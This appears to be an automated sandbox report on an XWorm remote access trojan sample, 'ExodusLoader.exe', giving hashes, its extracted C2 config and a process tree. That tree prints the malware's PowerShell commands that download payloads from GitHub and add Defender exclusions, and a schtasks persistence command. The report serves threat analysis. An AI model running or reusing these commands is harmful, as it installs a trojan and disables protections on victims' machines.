xworm | ee854407da3d172d442c9aec8861d9e8fd4f7a5f8c4cbb785d7e55549a507234

Resubmissions

07/03/2025, 23:38

250307-3m5aeazk13 10

Analysis

max time kernel
19s
max time network
20s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20250218-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20250218-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
07/03/2025, 23:38

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General

Target

ExodusLoader.exe
Size

89KB
MD5

2f3405fa61bec944ed9d869adb6a37e3
SHA1

4a3c839b899809ba89a99eaadecf4da6d71e8256
SHA256

ee854407da3d172d442c9aec8861d9e8fd4f7a5f8c4cbb785d7e55549a507234
SHA512

72c8309a2c439adb3790aaf7198d5cdfa5591703a039ca84982752dfc43213a94885aab5a82fc0cfd78e161a792d2c1684e0cae7e4e7d772cc98be4aabdc33c0
SSDEEP

1536:77fbN3eEDhDPA/pICdUkbBtW7upvaLU0bI5taxKo0IOlnToIfAwWOn:X7DhdC6kzWypvaQ0FxyNTBfAg

Score

10^/10

xworm discovery execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

137.184.74.73:5000

Mutex

Y2rnj2CSRObOXXLb

Attributes

Install_directory
%ProgramData%
install_file
System.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/3236-72-0x0000000002A50000-0x0000000002A5E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 4 IoCs

flow	pid	Process
8	3604	powershell.exe
11	3604	powershell.exe
21	4004	powershell.exe
22	4004	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3604	powershell.exe
4004	powershell.exe
2812	powershell.exe
1576	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
22	4004	powershell.exe
11	3604	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000\Control Panel\International\Geo\Nation	ExodusInject.exe

Executes dropped EXE 3 IoCs

pid	Process
3272	ExodusInject.exe
3528	Exodus.exe
3236	AggregatorHost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
10	raw.githubusercontent.com
11	raw.githubusercontent.com
22	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExodusLoader.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
2172	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4404	schtasks.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
3604	powershell.exe
3604	powershell.exe
4004	powershell.exe
4004	powershell.exe
2812	powershell.exe
2812	powershell.exe
1576	powershell.exe
1576	powershell.exe

Suspicious use of AdjustPrivilegeToken 52 IoCs

description	pid	Process
Token: SeDebugPrivilege	3604	powershell.exe
Token: SeDebugPrivilege	4004	powershell.exe
Token: SeDebugPrivilege	3272	ExodusInject.exe
Token: SeBackupPrivilege	2160	vssvc.exe
Token: SeRestorePrivilege	2160	vssvc.exe
Token: SeAuditPrivilege	2160	vssvc.exe
Token: SeDebugPrivilege	2812	powershell.exe
Token: SeIncreaseQuotaPrivilege	2812	powershell.exe
Token: SeSecurityPrivilege	2812	powershell.exe
Token: SeTakeOwnershipPrivilege	2812	powershell.exe
Token: SeLoadDriverPrivilege	2812	powershell.exe
Token: SeSystemProfilePrivilege	2812	powershell.exe
Token: SeSystemtimePrivilege	2812	powershell.exe
Token: SeProfSingleProcessPrivilege	2812	powershell.exe
Token: SeIncBasePriorityPrivilege	2812	powershell.exe
Token: SeCreatePagefilePrivilege	2812	powershell.exe
Token: SeBackupPrivilege	2812	powershell.exe
Token: SeRestorePrivilege	2812	powershell.exe
Token: SeShutdownPrivilege	2812	powershell.exe
Token: SeDebugPrivilege	2812	powershell.exe
Token: SeSystemEnvironmentPrivilege	2812	powershell.exe
Token: SeRemoteShutdownPrivilege	2812	powershell.exe
Token: SeUndockPrivilege	2812	powershell.exe
Token: SeManageVolumePrivilege	2812	powershell.exe
Token: 33	2812	powershell.exe
Token: 34	2812	powershell.exe
Token: 35	2812	powershell.exe
Token: 36	2812	powershell.exe
Token: SeDebugPrivilege	1576	powershell.exe
Token: SeIncreaseQuotaPrivilege	1576	powershell.exe
Token: SeSecurityPrivilege	1576	powershell.exe
Token: SeTakeOwnershipPrivilege	1576	powershell.exe
Token: SeLoadDriverPrivilege	1576	powershell.exe
Token: SeSystemProfilePrivilege	1576	powershell.exe
Token: SeSystemtimePrivilege	1576	powershell.exe
Token: SeProfSingleProcessPrivilege	1576	powershell.exe
Token: SeIncBasePriorityPrivilege	1576	powershell.exe
Token: SeCreatePagefilePrivilege	1576	powershell.exe
Token: SeBackupPrivilege	1576	powershell.exe
Token: SeRestorePrivilege	1576	powershell.exe
Token: SeShutdownPrivilege	1576	powershell.exe
Token: SeDebugPrivilege	1576	powershell.exe
Token: SeSystemEnvironmentPrivilege	1576	powershell.exe
Token: SeRemoteShutdownPrivilege	1576	powershell.exe
Token: SeUndockPrivilege	1576	powershell.exe
Token: SeManageVolumePrivilege	1576	powershell.exe
Token: 33	1576	powershell.exe
Token: 34	1576	powershell.exe
Token: 35	1576	powershell.exe
Token: 36	1576	powershell.exe
Token: SeDebugPrivilege	3236	AggregatorHost.exe
Token: SeDebugPrivilege	3236	AggregatorHost.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1072 wrote to memory of 1808	1072	ExodusLoader.exe	83
PID 1072 wrote to memory of 1808	1072	ExodusLoader.exe	83
PID 1808 wrote to memory of 3604	1808	cmd.exe	84
PID 1808 wrote to memory of 3604	1808	cmd.exe	84
PID 1808 wrote to memory of 4004	1808	cmd.exe	85
PID 1808 wrote to memory of 4004	1808	cmd.exe	85
PID 1808 wrote to memory of 3272	1808	cmd.exe	90
PID 1808 wrote to memory of 3272	1808	cmd.exe	90
PID 1808 wrote to memory of 3528	1808	cmd.exe	91
PID 1808 wrote to memory of 3528	1808	cmd.exe	91
PID 3272 wrote to memory of 2812	3272	ExodusInject.exe	96
PID 3272 wrote to memory of 2812	3272	ExodusInject.exe	96
PID 3272 wrote to memory of 1576	3272	ExodusInject.exe	99
PID 3272 wrote to memory of 1576	3272	ExodusInject.exe	99
PID 3272 wrote to memory of 4400	3272	ExodusInject.exe	104
PID 3272 wrote to memory of 4400	3272	ExodusInject.exe	104
PID 4400 wrote to memory of 2172	4400	cmd.exe	106
PID 4400 wrote to memory of 2172	4400	cmd.exe	106

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\ExodusLoader.exe
"C:\Users\Admin\AppData\Local\Temp\ExodusLoader.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1072
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\8B48.tmp\8B59.tmp\8B5A.bat C:\Users\Admin\AppData\Local\Temp\ExodusLoader.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1808
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ek4o/injector/raw/refs/heads/main/ExodusInject.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe'"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3604
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ek4o/injector/raw/refs/heads/main/Exodus.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\Exodus.exe'"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4004
- - C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe
    "C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3272
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\AggregatorHost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2812
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'AggregatorHost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1576
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpC66D.tmp.bat""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4400
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:2172
- - C:\Users\Admin\AppData\Local\Temp\Exodus.exe
    "C:\Users\Admin\AppData\Local\Temp\Exodus.exe"
    3⤵
    - Executes dropped EXE
    PID:3528

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2160

C:\Users\Admin\AppData\Roaming\AggregatorHost.exe
"C:\Users\Admin\AppData\Roaming\AggregatorHost.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3236
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System" /tr "C:\ProgramData\System.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4404

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
ed30ca9187bf5593affb3dc9276309a6

SHA1
c63757897a6c43a44102b221fe8dc36355e99359

SHA256
81fc6cfe81caf86f84e1285cb854082ac5e127335b5946da154a73f7aa9c2122

SHA512
1df4f44b207bb30fecee119a2f7f7ab7a0a0aed4d58eeabbec5791d5a6d9443cccffa5479ad4da094e6b88c871720d2e4bcf14ebec45a587ee4ec5e572f37810

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
92fb7b0beaaa157dcb80a4198a22ca8c

SHA1
aef203c6f9e107d095f7217423b9a05c7d7ef5c1

SHA256
299853c88a41d76036493faf624f3dc0b97a55922d9bc8e356e4061602c58d71

SHA512
5575d75c4ca61a5f6d5da70f82cc744cc7fdb6cb1d40aca673844204097de3ed837b6013066d2a25bd385f0ccd1b63f3bd4e32018a4d50eb998c943b3d42be1b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
0c9b72a598bfedc7a5579c923f4e4655

SHA1
d5a2ca87954e4c229d0f00953e34017772bfb895

SHA256
1e8775bf6968b85b495bc1b9fabe7302d0273cae1b69762dc48fc441df40b2a8

SHA512
389ffc0e4125829d4b4c1f1ca19ba257055cba2ff6d823680c002cf71bb204df51acb0154e612b40d8ccb3af18d88944e8159e4f4b9dcf10d383310595beb176

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
aa48d9dc018b70f8b809369223b04c30

SHA1
e2cf63b9f7b3456f9b4673379723b7ada094a1cb

SHA256
a048ac8756024fa6e79161629da1579ec572502eb0c9ecc2b1419856051eec4c

SHA512
5008401648bf8d3788d501f61e41c72974b83fed087d8d1162cb06c4e6069899694ba58f5f76bd899d2055f06a5c255769f2183b0632fdb313b19da3588678f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\8B48.tmp\8B59.tmp\8B5A.bat

Filesize
491B

MD5
54436d8e8995d677f8732385734718bc

SHA1
246137700bee34238352177b56fa1c0f674a6d0b

SHA256
20c5e5f392f2ad19b9397fd074d117c87ca3da37f1151736dbd20322ea7e12c3

SHA512
57ffc0f920bbaf36bbd22ea90c14670f44766e4b81509f54b1dec1be4443e51d8bf0997198de0851e1ea4993e5d786e21c9c1f7f17c792da88eb6bb4a324f448

Download Submit
C:\Users\Admin\AppData\Local\Temp\Exodus.exe

Filesize
507KB

MD5
470ccdab5d7da8aafc11490e4c71e612

SHA1
bc540c0ba7dcb0405a7b6c775f0a1b585d51c4b3

SHA256
849c0420722c1dabb927ff0ab70375bc1197ba73a7f04885460b609392bd319c

SHA512
6b3a09b785c02a57f6330cd6610f8a78b1f6a1689c14a190a9af4ad4ab4666f8a77d75c4c85a3af04693effdc970440ce8d62a4132f66471aaa250f9d90f2f7b

Download Submit
C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe

Filesize
227KB

MD5
38b7704d2b199559ada166401f1d51c1

SHA1
3376eec35cd4616ba8127b976a8667e7a0aac87d

SHA256
153825af8babb75361f4af359bfdd5e95cbdc7f263db5c4e70ac1da8f36bc564

SHA512
07b828073c8f80c5498501c8f64decb5effa702c8bc3d60a2f7d5de36d493b469cbbf413fb0c92c0aadd6ee139bfb75f3b9e936230212d42e57d2ec5671e9b27

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dbvv3424.05g.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpC66D.tmp.bat

Filesize
164B

MD5
7d650e8761e071d8969b750b25d1a622

SHA1
2c3367f30db576f025560fd8c33f7622870f0ce6

SHA256
1e37717f0364222899d7e1d96be72d7bce1eb41f85dd727d51a253d0630f872e

SHA512
99211151584568f037e99065083bfc9f0f78a2d85fb13b514438b32de9287e318b77c869f79d01b0742437c9e0cd5c474884153b1cf731e3a4dbf4d6da8fd4af

Download Submit
memory/3236-72-0x0000000002A50000-0x0000000002A5E000-memory.dmp

Filesize
56KB

Download
memory/3272-41-0x0000000000B70000-0x0000000000BB0000-memory.dmp

Filesize
256KB

Download
memory/3604-14-0x00007FF811960000-0x00007FF812422000-memory.dmp

Filesize
10.8MB

Download
memory/3604-19-0x00007FF811960000-0x00007FF812422000-memory.dmp

Filesize
10.8MB

Download
memory/3604-15-0x00007FF811960000-0x00007FF812422000-memory.dmp

Filesize
10.8MB

Download
memory/3604-13-0x00007FF811960000-0x00007FF812422000-memory.dmp

Filesize
10.8MB

Download
memory/3604-3-0x000001BFFFFA0000-0x000001BFFFFC2000-memory.dmp

Filesize
136KB

Download
memory/3604-2-0x00007FF811963000-0x00007FF811965000-memory.dmp

Filesize
8KB

Download
memory/4004-33-0x00007FF811960000-0x00007FF812422000-memory.dmp

Filesize
10.8MB

Download
memory/4004-36-0x00007FF811960000-0x00007FF812422000-memory.dmp

Filesize
10.8MB

Download
memory/4004-32-0x00007FF811960000-0x00007FF812422000-memory.dmp

Filesize
10.8MB

Download
memory/4004-31-0x00007FF811960000-0x00007FF812422000-memory.dmp

Filesize
10.8MB

Download